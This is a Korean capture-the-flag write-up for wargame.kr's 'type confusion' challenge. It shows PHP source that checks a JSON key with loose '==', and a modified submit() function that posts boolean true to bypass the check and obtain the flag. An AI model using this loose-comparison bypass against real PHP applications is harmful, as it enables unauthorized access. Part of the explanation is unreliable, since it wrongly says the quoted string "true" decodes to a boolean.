문제분석 & 풀이
제목인 type confusion이 중요하다고 한다.
type confusion 취약점을 이용하는 문제라고 추측 할 수 있다.
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
if (isset($_POST['json'])) {
usleep(500000);
require("./lib.php"); // include for FLAG.
$json = json_decode($_POST['json']);
$key = gen_key();
if ($json->key == $key) {
$ret = ["code" => true, "flag" => $FLAG];
} else {
$ret = ["code" => false];
}
die(json_encode($ret));
}
function gen_key(){
$key = uniqid("welcome to wargame.kr!_", true);
$key = sha1($key);
return $key;
}
?>
○ 코드 분석
1) post 방식으로 json이라는 데이터를 받고 $json에 저장한다.
2) sha1 해시값을 $key 변수에 저장한다.
3) $json 객체의 key값이 $key와 같으면 문제가 해결된다.
$json을 json_decode()로 디코딩하고 변수명과 동일하게 json 데이터가 저장된다는 것을 알 수 있다.
function submit(key){
$.ajax({
type : "POST",
async : false,
url : "./index.php",
data : {json:JSON.stringify({key: key})},
dataType : 'json'
}).done(function(result){
if (result['code'] == true) {
document.write("Congratulations! flag is " + result['flag']);
} else {
alert("nope...");
}
lock = false;
});
}
개발자도구로 util.js를 보면 submit()으로 서버에서 데이터를 전송하는 방식을 확인할 수 있다.
특히, {key: key} 형태인 객체를 JSON.stringify으로 {"key":"key"} 와 같은 문자열 형태로 변환하고 서버에 전송한다.
서버에 데이터가 전송될 때, {"key":"true"}로 전송하면 어떨까?
json_decode에 의해 {"key":"true"} 에서 {key:true} 으로 바뀐다. 이때 type confusion이 발생하고 true는 더 이상 문자열 type이 아닌 boolean type이 된다.
이런 식으로 type confusion을 트리거하여 문제를 해결할 수 있다.
if ($json->key == $key) {
$ret = ["code" => true, "flag" => $FLAG];
} else {
$ret = ["code" => false];
}
다시 php 코드를 보면 if문에서 "=="로 비교를 하고 있다.
"=="는 느슨한 비교이고 php에서는 취약점이 발생할 수 있는 비교 방식이다.
https://keyme2003.tistory.com/entry/wargamekr-strcmp
자세한 내용이 궁금한 독자는 위의 글을 참고하면 좋을 것 같다.
"=="로 비교하는 경우에는 값이 같지 않더라도 결과가 true로 인식이 되는 경우가 있다. [true == 문자열] 인 경우도 "=="로 비교할 경우에는 결과가 true가 된다.
즉, json→key로 true를 보낼 수만 있다면 if문 조건을 참으로 만들 수 있다.
위에서 type confusion을 설명할 때, true를 json→key로 보낼 수 있다는 것을 알았고 시도만 해보면 될 것 같다.
○ 공격시나리오
1) util.js의 submit 함수를 조작해서 서버로 전송하는 데이터(key의 value)를 true로 바꾼다.
2) {"key":"true"} 를 서버로 전송하면 {"key":"true"}는 디코딩되고 {key:true}로 바뀐다. 이때, true는 type confusion이 발생하여 문자열이 아닌 boolean으로 취급된다.
3) if문에서 "=="로 느슨한 비교를 하고 있으므로 true == "문자열" 형태를 조건이 완성되면서 참이된다.
function submit(key){
$.ajax({
type : "POST",
async : false,
url : "./index.php",
data : {json:JSON.stringify({key: true})},
dataType : 'json'
}).done(function(result){
if (result['code'] == true) {
document.write("Congratulations! flag is " + result['flag']);
} else {
alert("nope...");
}
lock = false;
});
}
개발자도구 console창을 통해 submit()으로 전송되는 json 데이터의 value를 true로 바꾼다.
아무값이나 입력해서 전송해보자.